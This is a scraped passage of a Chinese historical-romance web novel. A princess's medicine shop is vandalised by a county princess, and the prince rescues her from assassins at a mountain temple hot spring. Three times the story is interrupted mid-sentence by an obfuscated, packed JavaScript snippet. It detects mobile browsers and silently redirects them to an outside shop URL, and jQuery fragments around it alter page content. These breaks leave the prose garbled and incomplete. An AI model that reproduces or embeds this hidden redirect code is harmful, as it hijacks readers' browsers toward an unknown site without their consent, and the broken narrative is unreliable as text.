老夫人反责备她:“你这孩子怎的这样死心眼?不过是间小药铺,没了便没了,难道你想以王妃的身份去经商不成?” “祖母,您救初儿于水火,可否也对西山脚下的穷苦百姓发发仁慈?” 夏若初仍求道,“赵姝怎会好好经营为百姓牟利?她为泄私愤,势必将这百年老铺拆梁卸柱,化为一堆碎木残瓦。” 老夫人沉默许久,终究叹了口气,“这世间不平事,岂是你我能管尽的?” “你可知道,荣国公乃开国元勋之后,虽无实权但门生众多,翊儿在朝为官,不好与他撕破脸。是以我虽然不喜那赵姝阿谀作态,也还是容她登门。” “女子当相夫教子,你的心思多放在夫君身上才好,莫让我失望。” 夏若初别无办法。 在这权柄滔天便可一手遮天的王朝,除了萧承翊,她又能指望谁呢? 唯有他,敢当众挥出那一鞭抽在赵姝身上,为她出了口气。那一鞭的脆响,至今想来都让她心头莫名地发颤。 她做了这许多事,也借关朔之口将养颐堂的近况递出去。 萧承翊却始终不来看她。 他是真的不想要这个妻子。 “姑娘。”碧菡过来打断了她的思绪。 “亲卫说雨势太大,前头山路塌了。我们只能宿在寺中待明日再看情形。您累了一天,先去歇歇吧。” 忘尘大师亦道:“老衲这就让人准备干净的禅房,委屈王妃暂且将就一夜。” 还要在这山中过夜。 恐惧的回忆倏地涌上心头,夏若初浑身打了个寒颤。 那种被人抛弃的冷意缠绕住五脏六腑,眼前一阵天旋地转,人与物仿佛都在晃动。 马车颠簸半日才到这山中古寺,她一路上已觉身体不适,只是强撑着。 来时满山秋色风景宜人,此刻凄风冷雨,呜咽的风声在山林中回响,显得肃杀阴冷。 就像要将她拖回栖云观那些暗无天日的梦魇。 一阵山风裹着冷雨卷入檐下,夏若初下意识收紧身上的青罗鹤氅,额头滚烫,四肢却冰凉,连齿关都止不住打颤。 不,她绝不会再陷于任人宰割的境地,既然逃出生天,她就势必要掌控自己的命运。 萧承翊管与不管,她都不会放弃养颐堂。 她用药膳为伤病缠身的将士缓解多年病痛,为操劳过度的老仆调理酸痛的腰腿,这些事情都与她的谋划算计无关。 只因她见不得旁人苦,这是她的本心。 若无人襄助,她便典当钗环,变卖衣物,哪怕只剩一身素衣,也要与国公府对抗到底。 她要亲自拜访每一家药行商户,若商路不通,便去州府击鼓鸣冤,州府不理就告御状,不惜闹到太后跟前。 就算被太夫人逐出家门,她也要将那些高高在上的恶人狠狠拽下,让他们也尝尝泥泞中的滋味。 逼急了她就鱼死网破,一把火将国公府和夏府烧个干净,拉他们一同做鬼! 冷风呼啦吹过,夏若初猛地打了个寒噤,那股冲天豪气凉了一半。 “是了,我该去歇歇。”她气息虚弱,握住碧菡的手寻求支撑。 “姑娘,你手怎么这么冰冷?”碧菡忙探她额头,更是吓得魂飞魄散,“天爷!怎么烧成这样?” 话未说完,夏若初身子一软,晕倒在碧菡的怀中。 7. 第7章 养颐堂外,雨势渐急。 帷幔低垂的马车在街角停下。 “王爷,您在车内稍候片刻,属下给将士们取个药便回,今日顺路,明日我们便不经过这条巷道了。” 萧承翊倚着软枕翻阅书卷,闲闲地问:“京城闹市中心有的是大药铺,为何来这偏僻地方?” “别处买不着。”关朔回禀,“这药可是我们王妃的方子。” 男人执书的手微微一顿,抬起眼眸。 “王妃特命医女配的春煦固元膏,是她外祖家的祖传秘方。近日多雨,营中不少将士旧伤发作,酸痛难忍。王妃说是药三分毒,日常调理还需药食相辅。” 萧承翊撩开车帘一角,透过密集的雨阵,目光落在药铺牌匾上。 养颐堂? 似乎有那么点模糊的印象。 视线被另一辆珠环翠绕的马车吸引过去,那马车直接堵在铺门前方,铺中传出嘈杂声,隐隐夹杂着斥骂与哭泣。 关朔也察觉异样,脸色陡然一变。 “定是长乐县主!她使阴湿手段断了养颐堂的药源,还嫌不够,竟自己上门找麻烦?” “你的嘴是只管用饭的吗?为何不早说?”萧承翊眸中寒意凛然。 “属下说过了呀!我说养颐堂被人刁难,连药材都买不到,您也并未在意,我以为……” 关朔愣了愣,忽然瞪圆了眼。“您不知这药铺是王妃的嫁妆啊?” 萧承翊冷声下令,“去看看!” 养颐堂内一片狼藉,几名府卫正将药材从药柜中粗暴地扯出,瓶罐砸碎在地。 “你们不要这样!住手!”辛夷哭着制止,却被一把推倒在地。 满堂药材被肆意毁弃,店中伙计全都怒目而视,却无人敢上前。 眼前这些是国公府蓄养的护卫,寻常百姓谁敢以卵击石? “县主这是为何?”辛夷用力抹去脸上泪痕,“青天白日,纵仆行凶,打砸商铺,县主眼中难道没有王法吗?!” 赵姝坐在椅上,冷声一笑。 “夏若初那个贱人动手打了我,以为可以安然无事?” “她仗着生了张狐媚子脸,专门勾引男人为她出头。我真后悔,她在侯府的时候我就该划花她的脸,再把她沉塘淹死,在栖云观时不该只赏她那些鞭子,该把她卖到窑子里去!” 药柜被狠狠推倒,瓷罐碎裂声不绝于耳。 辛夷心痛不已,“我们四娘子如今贵为肃王妃,县主说话当心闪了舌头!” “四娘子常教导我们,人立于世,当行得正、做得直,但求问心无愧。养颐堂济世救人,是为百姓谋福,不该受人欺辱。” “四娘子还说过,若遇歹人,便要以牙还牙,否则便是助纣为虐。她从不忍气吞声,养颐堂也不做这缩头乌龟。” 辛夷声音陡然提高,带着决绝的恨意。 “众伙计,四娘子平日待我们如家人,我们怎可看她被人辱骂?给我上!” 药铺伙计个个红了眼,奋起抵抗,可终究难敌府兵,很快被压制在地,辛夷面上也被扇了两巴掌,鲜血从嘴角淌下。 赵姝笑不可抑。 “还指望夏若初给你们撑腰啊?即便是宫中的娘娘失宠,连宫女太监都可以欺辱,何况她一个未拜堂的王妃?” “夏若初能不能活过这几日都未可知。” “你说什么?”辛夷大惊。 赵姝得意地笑。 “依国法沈家商铺划归我国公府,在栖云观时她咬死不肯交出秘药的方子,本县主便赏她些苦头吃,让人用淬了毒草的鞭子抽打她。” “她身上的伤,每逢这样的天气必发作,这几日雨水连绵,她此刻定是痛不欲生高烧不退。你们的王妃,怕是要一命呜呼了……” 话音戛然而止。 一柄寒剑架在了赵姝的颈项上,剑锋杀气凌厉。 “何人放肆!”为首的府兵霍然拔刀袭来。 剑柄上四爪蟠龙墨玉寒光闪烁,剑尖已刺穿那名府兵的眼睛。 - 夜深,露重。 温泉水汽氤氲,驱散了夜雨的寒冷。 浸泡在药池中,夏若初意识昏昏沉沉。 莲灯寺的温泉素有疗伤驱寒的功效,将药草浸入其中,可以缓解高烧和伤痛。 前些时日辛夷用秘制伤药为她调理,背上的旧伤只剩淡淡的红痕,只是彻底根除毒素还需要时日。 四周支着素纱帷幔,侍女与亲卫于数米外静立守护,为她隔绝出一方静谧的天地。 竹骨风灯晕开朦胧的光晕,夏若初长睫低垂,却毫无睡意。 稍早时,忘尘大师亲自领懂医术的僧人为她诊脉煎药。 “有劳大师,若我真有不测,断不会怪责莲灯寺。”夏若初反宽慰他。 “王妃言重了,老衲不过尽绵薄之力。王妃吉人天相,王爷此时定然已知您困于寺中,很快便会来接您。” 夏若初淡淡苦笑,“他不会来的。” 她迟迟未归,第一个想到她被困在寺中的应该是萧老夫人。 可府中只有值守护卫,天黑雨急,山路难行,寻常护卫也不敢冒然进山。 若要等萧承翊调动玄甲卫,最快也得明日。 她无法控制心底不断滋生的可怕想法。 萧承翊会不会根本不管她? 如果她感染风寒病重不起,他是不是正好任她自生自灭?既能彻底摆脱她,还无须承受太夫人和皇上的责难。 “老衲相信,纵使千难万难,肃王也定会设法前来。” 忘尘大师的声音沉静而笃定。 “绍兴初年,王爷时年十六,临危受命,于江北大破敌军。敌军败退时纵火屠城,王爷为救百姓奋战整夜,咽喉被烈火浓烟灼伤,乃至失声两月,江淮百姓至今感念。” “一个能为苍生赴死之人,又怎会弃结发之妻于不顾?” 一个能为苍生赴死之人。 夏若初恍然如梦。 她忆起了这段往事。 那年她刚满十二,是侯府千娇万宠的嫡小姐。 三月阳春,柳絮正软,桃花初绽。 听闻阿兄随北伐大军凯旋,她按捺不住,趁着阖府张灯结彩的忙乱,拉着侍女便溜出了门。 长街两侧,欢呼声如潮水般涌起。她挤在人群中,踮着脚望去。 她便看见那行进在前方的主帅。 少年将军高高端坐于骏马之上,一身银甲玄盔,身姿挺拔如松。阳光穿过初绽的桃枝,不及他眸中半分清亮。 道旁一个垂髫小儿不慎跌入官道,在亲卫动作之前,他已抬手止住身后的大军。 待那惊慌的母亲将孩儿抱回人潮,方振臂挥下。 男人周身凌冽的锋芒,夏若初却真切地望见,那双黑眸中的笑意与温柔。 后来,她便日日缠住夏云骁,追问战场上的事。 这才得知,萧承翊当初明知国库亏空、粮草难继,仍毅然领兵出征。 朝中有人贪墨军饷,军粮中掺了喂牲畜的麸皮和米糠,他率轻骑一夜连破敌军三座粮仓,解了全军燃眉之急。 凯旋归京之日,他将掺假的军粮掷于大殿之上,剑指丞相,震得满殿官员面无血色。 他是宁可马革裹尸,也绝不与那些视将士性命如草芥之徒同列朝堂。 众将皆知,年轻的郡王常佩两样兵器。 一是御赐的四爪蟠龙墨玉剑,另有一把流星弩,小巧可藏于袖,是父亲镇远将军萧策的遗物。 一明一暗,神出鬼没,顷刻间取人性命。 经年沙场锤炼,加上嗓音低沉,使他较之同龄人更显冷冽持重。 咽喉灼伤是非常痛苦的。 起初连清水都难以吞咽,食硬物则痛,沾油腥即吐,可是军情紧急,为维持体力,他强咽干粮、硬灌糙粥,从不吭一声。 经医官调理虽渐好转,嗓音却再不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不管对方是谁,那人肯定不愿她回忆起来,定然也不愿她再接近莲灯寺。 然而她来了。 在这冷寂的山中,身边仅四名亲卫,一个不会武功的侍女。 寒意自脚底缓缓蔓延,她难以抑制地微微发抖。 想让一个人永远闭嘴,最好的法子就是让她变成一个死人。 下一刻,箭矢的破空声划过—— 啪!竹骨风灯应声而碎。 “有刺客!” 帘帐外人影骤乱,刀剑相击之声响起。 “保护王妃!” “姑娘小心啊!” 呼喊声、兵刃声交织成混乱的一片。 人影幢幢,刀光愈密,好似来袭的人越来越多。 鲜血不断溅上素白纱帘,如红梅绽放。 夏若初几时见过这种场面,吓得魂飞魄散,她手软脚软地攀住池沿爬上来。 轻绸湿衣紧贴肌肤,在白纱帘上映出婀娜的曲线。 就在她起身的刹那,冷箭破空而来。 电光石火间,一道玄色身影如鹰隼般掠至,将她搂入怀中,双双跌入温热的池水。 水花四溅。 没顶的恐慌只是一瞬,一只有力的臂膀已将她托出水面。 她本能地挣扎,那只臂膀收得更紧,柔软的身躯牢牢控在钢筋铁骨的怀抱中。 “别动,危险。” 熟悉的低磁嗓音贴着耳廓,带着温热的吐息。 顷刻间,山风呜咽、刀光剑影都化为虚无的背景。 她烧得昏沉,怔怔抬眼,那张轮廓俊朗的脸近在咫尺,双眸幽深看着她。 他身上好暖,她不自觉往那怀里偎得更紧,小手死死攥住他湿透的衣襟。 察觉她异常的体温,他眉心微蹙,“夏若初,你是真不让人省心。” 怀中的人只是睁着迷蒙的眼,一言不发。 那副模样,不知是吓魔怔了,还是烧糊涂了。 大掌托住她的脸,声音有丝焦灼,“说话啊。不认得本王了?” 一颗滚烫的眼泪砸在他手背上。 紧接着一颗,又一颗,夏若初哽咽出声。 “我以为你不会来了。” 8. 第 8 章 以为他不会来—— 她在等他吗? 灯影晃晃,将池中相拥的影子投在白纱帷幔上,随着风吹帘动,交叠纠缠。 萧承翊回过神。 他捡起池边散落的小石子,腕间发力,“噗噗”数声,风灯接连熄灭。 黑暗如墨,夏若初下意识往他怀里缩了缩。 “为什么要灭灯?黑漆漆的吓死人了!” “我不想变成箭靶子。” 他语气淡漠得不带一丝安慰,可沉稳的嗓音还是让人感到安心。 夏若初轻轻抽咽两下。 方才太慌乱,此刻静下神才意识到,四下一片漆黑,唯独这一圈亮着光,可不就是个活靶子? 若不是萧承翊来得及时,她贸然起身怕是已经被射穿了。 “碧菡呢?”她慌忙问。 “她和婆子都安置稳妥,僧众亦都无事。” 夏若初这才舒出一口气。 可眼下的情形,着实让人无措。 这温泉池太小了。 平日只觉得萧承翊的身形挺拔精悍,可一挤进来就将这池子塞得满满当当,无处不是他。 原本只容她一人舒展的泡池,如今被他全然占据,她便困在小小的空间里,躲都没地方躲。 两人衣衫尽湿,温泉水汽蒸腾缭绕,彼此的呼吸和心跳都清晰可闻。 她周身只穿一件月白色银线绣芙蓉的小衣,后背堪堪一条细带束着。在她看来稀松平常,比前世的泳衣还保守。 但男人显然不是这样想的。 即便浸在水中,那双凌厉的眸光也像火舌,灼热地烙过她每一寸肌肤。 夏若初莫名战栗,扭了扭身子,呢喃着推他,“好热。” 搂住她腰间的手臂倏然收紧。 “别乱跑。”萧承翊呼吸的热气熨在她耳边,“关朔领玄甲卫在四处查看,恐有人埋伏。” 这么说肃王府的人已经控制了局面。 夏若初心里没那么害怕了,为缓解尴尬总得说点什么。 “王爷怎么知道我在这里?”她问。 “听说有人一早非要上莲灯寺祈福,我看这天色,就知马车无法下山。” 黑暗中辨不清男人的神情,只听他发出轻嗤声。 “祖母说你,求子心切。” 后边四个字故意咬字慢悠悠的,带着浓郁的戏谑。 夏若初的脸蛋轰地烧透了。 都怪这王妃当得没有一点自由。 安嬷嬷再三叮嘱,依宗室的规矩,郡王妃出行前须向太夫人禀明事由,领了对牌方能出府。 随行的仪仗、车马、仆役,皆有规矩,虽说本朝宵禁不再严苛,但王府自有府规,新妇更需在日落前回府,断不可在外过夜。 这趟来莲灯寺,她想到的最妥帖的理由,便是祈愿夫妻和睦、早日得子。老夫人一听果然眉开眼笑,当即爽快地准了。 “我就是闷得慌,想出来散散心。”她赶紧转开话头,“王爷怎么来了?祖母逼您来的?” 萧承翊似是顿了片刻,可有可无地“嗯”一声。 “我若不来,你在这山里哭晕过去,祖母又该责备我。” 人家才没那么爱哭,夏若初心里想。他没来之前,她明明是好好的,再慌再怕也不曾掉一滴眼泪。 可即便发着烧,她也清醒地记得自己对他有所求,这场柔弱依人的戏还得演下去。 “王爷,妾只是染了风寒,不敢劳驾王爷。待烧退了,我便自己骑马回去,再不济,也能和亲卫共乘一匹马。 萧承翊不悦,“你是王妃,与侍卫同骑成何体统?” “家都回不去还管什么体统?再说……”她乌黑的长睫微颤,“反正王爷平日都不理我。” 雨雾忽然浓密起来。 雨点落在池中,荡开一圈圈细细的涟漪。 “王妃,外边已无事,可以出来了。”一名亲卫的声音从帘外传来,停在数步之外。 萧承翊浑身一激灵。 “架打完了?我出去看看。”夏若初听见安全,好奇心便涌了上来,她倒要看看是什么人在佛门净地行凶。 下一刻,她的唇就被温热的手掌捂住。 萧承翊将她搂回怀中,极其缓慢地,摇了摇头。 夏若初垂眸看看那只包住自己半张脸的“熊掌”,不解地抬眼,对上男人眸底的冰冷锐光。 只微怔一瞬,她骤然反应过来,惊诧于他的敏锐和警觉。 来者不是善类! 王府亲卫和玄甲卫都知道肃王在此,凡事必先请示王爷,绝无可能直接来接应在温泉中衣衫不整的王妃。 帘外那人,显然没料到萧承翊和她在一起。 近在咫尺的那双深邃黑眸,清晰地升腾起杀气。 夏若初立刻乖巧地点点头,表示自己明白了。 她屏住呼吸一动不敢动,等着萧承翊英雄救美。 温热的吐息却又贴了上来,拂过她耳廓。 “王妃来。”他压得极低的气声钻进耳膜,“我要活的,别让他逃了。” 夏若初:!! 不容她反应,萧承翊已握住她的手腕,带着她探向他的腰间。 指尖触到坚硬的轮廓。 是那把传说中的流星弩。 她头皮轰然炸开。 半晌不敢相信自己的耳朵,分不清他是当真要她动手,还是一种独特的调情? 四目相对。 夏若初心念一动,读懂了他的意图。 萧承翊此刻背对帘外,若让来人察觉动静,必会即刻惊逃。他不想打草惊蛇,要的是悄无声息地一击即中。 可这种事情能指望她吗? 她会骑马,也能拉开轻弓射中箭靶,可从未对准过活生生、会流血的人啊。 如今这具身体又换了芯,在她的记忆与认知中,最血腥的画面不过是砧板上被宰的鱼。 胃里一阵翻腾,她干呕了一声,湿漉漉的杏眼满是惊慌与拒绝。 耳畔却传来几乎听不见的轻笑,“还说你对本王有用?” 他竟然笑了。 月黑风高,哄她出手伤人,他竟然笑得出来! 她心里又急又气,惊魂未定间,一道漆黑模糊的人影已印上了素白的帘幕,身后分明掩着长刀。 “王妃。”那声音试探,“属下护您出来?” 这人是来取她性命的。 宵小之徒,妄想趁虚而入,是觉得女子可任人宰割吗? 恐惧和愤怒烧得她浑身发颤,武将之女的血性渐渐涌上了头。 她又做错了什么? 有错的是忘恩负义的父亲,在母亲为侯府燃尽了心血后,仍心安理得地接回外室子女。 有错的是背信弃义的世子,为讨好新欢推她入冰冷的湖心。 有错的是贪得无厌的国公府,陷害外祖侵吞民产,不顾百姓死活对养颐堂赶尽杀绝。 她守着病重的母亲,等来的却是一场栽赃,和栖云观里无数个饥寒交迫、鞭痕累累的日夜。 母亲投了湖,哥哥死在军营,外祖拼尽生前最后的情面,才为她换来容身之处。 可有人就是不肯放过她。 这群人全都可恨,可杀。 他们想让她死得悄无声息,她就偏要好好活着,将真相弄个明白。 今夜,她便用这张弩,亲手向暗处的魑魅魍魉讨回第一笔血债。 沉吟间,萧承翊肩背暗沉,分明是要自己动手了。 夏若初按住了他的肩。 她缓缓沉下身,沿着他的腰腹去解那枚流星弩。然而摸索了半天,硬是取不下来。 她索性探出一条柔软的手臂缠上萧承翊的脖颈,借力去拔,靠在他身上又拉又拽。 男人喉结重重滑动了一下。 他忽然大掌握住她腰侧将她抱开,自己解下流星弩,塞进她的手上。 眉峰玩味地上挑,那肆意张扬的神情仿佛在说……送你了,拿去玩罢。 这个疯子。 “王妃?”听到水声,帘外的人影又近了些,长刀寒光隐现。 夏若初全副精神都在瞄准,夏云骁曾教过她使用小弩,流星弩虽小巧,却也有反弹之力。 为了稳住重心。她只能双臂攀住萧承翊的肩膀,靠进他怀中。 男人肌肉绷紧,大掌稳稳扶住她几乎不着寸缕的背部。 “你过来。”夏若初声音微颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999252|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,显得柔弱无力。 黑影果真逼近。 一柄长刀猛地划破素帘,带着刺耳的裂帛声直劈进来。 就在此刻! 嗖!破空声刺穿雨雾。 来人身形一僵,发出短促的闷哼,捂住脖颈轰然倒下,哗啦啦压倒一大排残破的帘幕。 “王爷!” 随着无数声爆喝,众人从四面飞速而至。 刀剑挥舞,残存的帘帷顷刻间化成了纷飞的布条,温泉池再无遮拦,池中景象一览无余。 萧承翊迅速搂着人背过身,将怀中的艳色遮掩得严严实实。 - 待狼藉的场面清理干净,萧承翊坐在禅房简陋的木椅上一一听回禀。 “来袭者皆着黑衣,未搜到任何府徽标记。”关朔抱拳,神色凝重。 “看其配合的路数,倒像是江湖上收钱卖命的死士。他们口中□□,被制住时便已自尽,剩一个没服毒的,也被王妃射杀。” 他竖起大拇指夸赞,“王妃真乃神射!一箭封喉,干脆利落。” 萧承翊淡淡道:“她射的是那人的腿。” 关朔噎住。 “倒是帮懂规矩的。算他们命大。”萧承翊眉骨轻压,“行刺王妃,服毒自尽是最痛快的死法。” “即刻传临安府连夜上山接管此案,再向他们借些可靠的府兵过来守卫。” 他略一沉吟,“这些事不必告诉王妃。” “是。”关朔领命,多问一句,“王爷是担心吓着王妃吧?” 萧承翊睨他一眼,“你话太多了。” 最后传来问话的是碧菡。 这小侍女可谓忠心,事发时没有逃跑,而是冲回去寻主子,幸好玄甲卫及时赶到保住了小命,只是情急间跌了一跤,膝盖磕破一大块皮。 “回去上药吧。”萧承翊问过几句便放她走,转而又把人叫回来,“等等。” “你家姑娘的弓弩,都是夏无咎教的?” “回王爷,夏侯爷向来认为女子学骑射无用,姑娘都是跟着大郎君学的。”碧菡如实答道。 萧承翊唇角弯了弯,“你们大郎君教得可真马虎。” “不是的王爷,大郎君忙于军务,在家的日子本就不多。”碧菡忙解释。 “大郎君极是疼爱姑娘,姑娘小名‘皎皎’便是大郎君取的,因姑娘出生那日正逢中秋,天上一轮满月。” “后来不知哪家公子传了出去,编了句诗夸姑娘美若天仙。大郎君知道后发了好大的火,放话不许任何人再吟那句诗,若让他听见便要打上门去的。” 她声音低下去,“大郎君与夫人先后离世,姑娘哭得心肝都要碎了。” 萧承翊未发一言,挥手让人退下。 处理完公务,他屏退众人,独自在禅房静坐了片刻。 待推门而出时,脚步却蓦地顿住。 禅房外,蜷着一团小小的身影。 那人儿蹲在一棵老桂花树下,裹着他的玄色披风,像片离枝的叶,无声无息地落在暗夜里。 檐下风灯暖黄,铺开淡淡的光晕,却没有半分照在她身上。 夜风穿过庭院,带着雨后彻骨的湿寒,她似乎瑟缩了一下。 须臾,细碎的啜泣声响起,仿佛连哭都小心翼翼。 萧承翊整整衣衫,迈步走过去。 “怎么蹲在这儿?” 听到声音,夏若初恍然回神站起身,眼眸水雾蒙蒙。 男人站在阴影与灯光的交界处,佛寺的清冷夜气浸透他周身,更添了层不似凡人的冷漠。 她慌乱地抹去脸上的泪痕,唇角泛起一个可怜兮兮的笑容。 “王爷,妾在等您呀。” 风吹得树叶沙沙响,在两人肩头洒落一层金黄花粒。 萧承翊语气毫无起伏,“服过药不好好睡觉,等我做什么?” 夏若初嫣然一笑。 风扬起她的乌发,如暗夜中绽放的一朵白芙蓉,娇弱易碎,却有着夺魂摄魄的美。 她自然是要来的。 即便身体不适,她也必须把握这个好时机,来争取自己想要的利益。 在容易让人失去理智的夜晚,在他心里最柔软的时刻。 9. 第 9 章 夜深人静,桂花香气浓郁,直钻入人心脾。 “王爷,妾好怕啊,那人当真死了么?”夏若初绞着手帕。 “死得透透的,命中咽部。”萧承翊玩味地看着她,“夏云骁若还在,看到你这歪到天边的准头,也要被活活气死。” 夏若初觉得这人是真坏。 明知哥哥在她心中占有多重要的地位,嘴里还不忌不避,偏要戳人痛处。 她按捺住想跳起来吵架的冲动,眸中溢满委屈。 “原想着帮王爷要个活口,可是我手是湿的,雨水又蒙了眼睛。再说……” 再说当时的情形,谁能定下心神射箭? 她周身血液都快被他的体温烧开了,能把箭射出去已是勉强,哪还顾得上准头。 “你说什么?”萧承翊俯身问。 她虚弱地扶扶额头,“再说,妾还发着热,没睡好。” 萧承翊唇角一勾,“那走吧。” “去哪儿?”她茫然问。 “还能去哪儿?”男人回过身,目光在她周身缓缓掠过。 “睡觉。” - 素净简朴的禅房内,一豆烛火幽幽燃烧。 夏若初软软地陷在干净的被褥里。 看到大马金刀地挤在小木椅上的男人,心里偷偷憋着笑。 得亏这张床不够大。 莲灯寺虽居山中,却非寻常寺院,由已故柔嘉长公主修缮,寺中规制本就不凡。重修殿宇时特留有几间精舍,供皇族后妃、高门权贵礼佛斋戒时留宿。 清修之地不可过分奢华,处处恪守轻简,檀木禅榻仅容一人安卧,以示虔诚、克己,便是皇上皇后来了也要分房而卧。 夏若初酝酿好了情绪。 “妾真的很笨,什么都做不好。云骁哥哥教了我许久,我还是学得不好。咳咳咳……” 连连干咳数声,眼眶便恰到好处地泛起红来。 萧承翊抬起眼,目光是一贯的沉静。 “你不笨。养颐堂上下都信服你,可见你有能力服众。” ……他是在夸她吗? 夏若初微怔,险些没接住戏。 她原本没想去等他。 碧菡已从关朔处得知,萧承翊之所以连夜赶到,是因为在养颐堂撞见赵姝带人砸店。 无论萧承翊平日给国公府多少情面,他绝不会坐视权贵欺凌平民,这是触了他的逆鳞。 “有个不长眼的朝王爷挥刀,被废了一双眼睛。其余府兵都被关统领痛打一顿,捆送临安府究办。” “那赵姝被送去了皇后处,请派宫规嬷嬷管教,不少人在瞧她的笑话,实在痛快!” 小丫头当时来回话,语气中满是对肃王的崇敬。 “依奴婢看,王爷心里是有姑娘的。不然只惩罚赵姝便罢,何必关心您去向,还冒雨连夜上山接您。” 夏若初愣怔片刻,忘尘大师的话仿若在耳边。 “纵有千难万难,肃王也定会前来。” “一个为苍生甘愿赴死的人,又怎会丢下结发之妻不顾?” 她摇了摇头。 他们之间并无夫妻情分。 萧承翊雨夜前来,又恰好阴差阳错救了她,只是说明他心中尚有公道与良知。 夏若初那会子刚服过辛夷捎来的药,精神蔫蔫的,“你倒是劝那位王爷,别总凶神恶煞地对我。” 碧菡吐吐舌头,“奴婢可不敢劝。” “王爷不说话时,只在那儿一站,便像随时要拔刀似的,我们下人都好怕他。” 形容得倒是很传神。 她笑道:“那你还总劝我好好相处?” “您不一样。您和王爷是夫妻呀。”碧菡说,“这世上的姻缘都是老天爷定的。有的人就是天生一对儿,换了谁都不行。” “姑娘生得这样美,若不是大郎君守得紧,门槛早叫人踏破了。可您与王爷连话都没说过一句,偏生就是您指给了他。 “老天爷若要牵线,任是隔着千山万水,也拦不住的。” 直到屋里剩她一人,夏若初仍愣愣的出神。 可这是意外啊,她都不是自愿嫁给他的,说不定哪日这缕魂魄就离开了,何必徒增烦恼。 她更没忘记,新婚之夜他是如何厌弃她,甚至动了杀心。 什么姻缘天定,相信虚无缥缈的缘分,不如相信自己。 于是她挣扎着起身,蹲在禅房之外,在萧瑟的寒风中等着萧承翊。 他们今夜也算共度患难,他又亲眼见到养颐堂的艰难,这不正是攻略人心的最好时机吗? “在想什么?”半天等不到回话的男人问。 夏若初倏然回神。 药效在起作用,烧退了许多,但她倚靠着床头,病西施般又咳嗽两声。 “王爷,妾身怕是要死了。” 萧承翊:…… “妾身若是死了,唯有两件憾事。一是无缘侍奉王爷,二是……唉,不说了。” “王爷不必挂怀,妾身做不到的事,是命数使然,我绝不会冤魂不散纠缠王爷。” 萧承翊:…… “什么死不死的?”他好整以暇地坐在床沿边,抱臂看着她,“你要做什么?” 夏若初流露出无限伤感。 “我说了王爷会帮我吗?” “你不说怎么知道。” 她眼底闪过晶亮的光。 “王爷,养颐堂是外祖留给我的嫁妆,西山下的百姓因这家药铺对沈家感恩戴德。” “药铺纯为百姓牟利,经营本就艰难,如今国公府欺上门来,我无能为力,实在愧对外祖。” 她自认说得字字恳切,可面前的男人,目光没有丝毫波澜。 “无需为了间药铺与国公府过不去,王妃的份例也够你衣食无忧。” “不是钱的问题!” 这时候也管不得什么妾不妾的了,夏若初蹭地踢掉被子,坐起身来。 “我若终日困在深宅后院,时日一长,便会忘记如何做药膳,不同的体质如何调理,连钻研新方子的心气都会消磨殆尽。这与死了有何两样?” 萧承翊眉峰微挑。 眼前的人,也不是时时刻刻都谨小慎微。 此时倒像只被踩了尾巴、竖起浑身绒毛的猫儿。 “有这么严重?”他问。 “就有这么严重,我母亲便是如此。我不想像她一样,将毕生悲喜系于夫君一身,直至生命枯竭。” 夏若初眼中流露真实的恐惧。 她记得母亲沈婉,最初是爱说爱笑的。 出身商贾之家,算盘打得快,却不懂得算计,看人看事总带着一份天真的热忱。 母亲在先帝寿宴上为太后挡下了那致命一刀,为侯府换来满门恩赏,夏无咎晋了爵位,风光无限。 在外祖家养伤的那一年,母亲还会教她看药材成色,算各地物价浮动,告诉她女儿家有些本事,可为夫家贴补,相夫教子。 讽刺的是,她并没有赢得丈夫的忠心。 柳氏初入府,从不与母亲争高低。 她总是低着头,母亲生气时,她就温声细语地认错。 母亲咳疾发作时,柳氏会请来据说极擅针灸的大夫。 她还让自己的一双儿女,日日晨昏定省,在父亲面前背诗习字,表现得乖巧伶俐。 那些无形的、细密的、温情的手段,一点点蚕食夏无咎对妻子残存的内疚之心。 然后,沈家出事。 京城至江淮几十处商号皆被抄没,沈家三代皇商打下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999253|193943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 基业,一夜之间倾覆。 沈家倒了,母亲失去了最后的依仗和底气,开始变得沉默,对柳氏的越俎代庖不再出声,对丈夫的日渐冷淡也不再关心。 她把自己关在越来越冷的院子里,身体日益衰败,咳疾越来越重,吃下的药总不见效。 “初儿……娘错了……女子这一生,不能只系别人身上。” 那也是夏若初信念的崩塌。 她曾相信的夫妻情分、曾倚仗的嫡女身份、曾笃信的世间公道,一样样抽离,最后只剩她一人,独自面对缠绵病榻的母亲。 更别说今时今日的夏若初,势必不可能重蹈覆辙。 “王爷是宗室贵胄,行事无人敢阻挠半分,自然体会不到一个人内心有抱负却无处施展,滋味有多难受。” “就像鸟儿被折断翅膀,困在笼子里,望着外面的天空,是不是很残忍?” 她说得动情。 “求王爷说动太夫人,许我亲自经营养颐堂,我必定处处谨慎,绝不会让肃王府颜面受损。” “这不公平的世道根本不讲商业规矩,唯有王爷首肯,养颐堂才再无人敢欺负。” 谈判是等价交换,若要对方点头,自然要有令其满意的条件。 夏若初很懂得这个道理。 “我知道王爷原本不想娶我。”她垂下双眸。 “王爷若有喜欢的女子,我不会以正妃的名义为难她。将来王爷浓情蜜意之时,我会躲得远远的。” 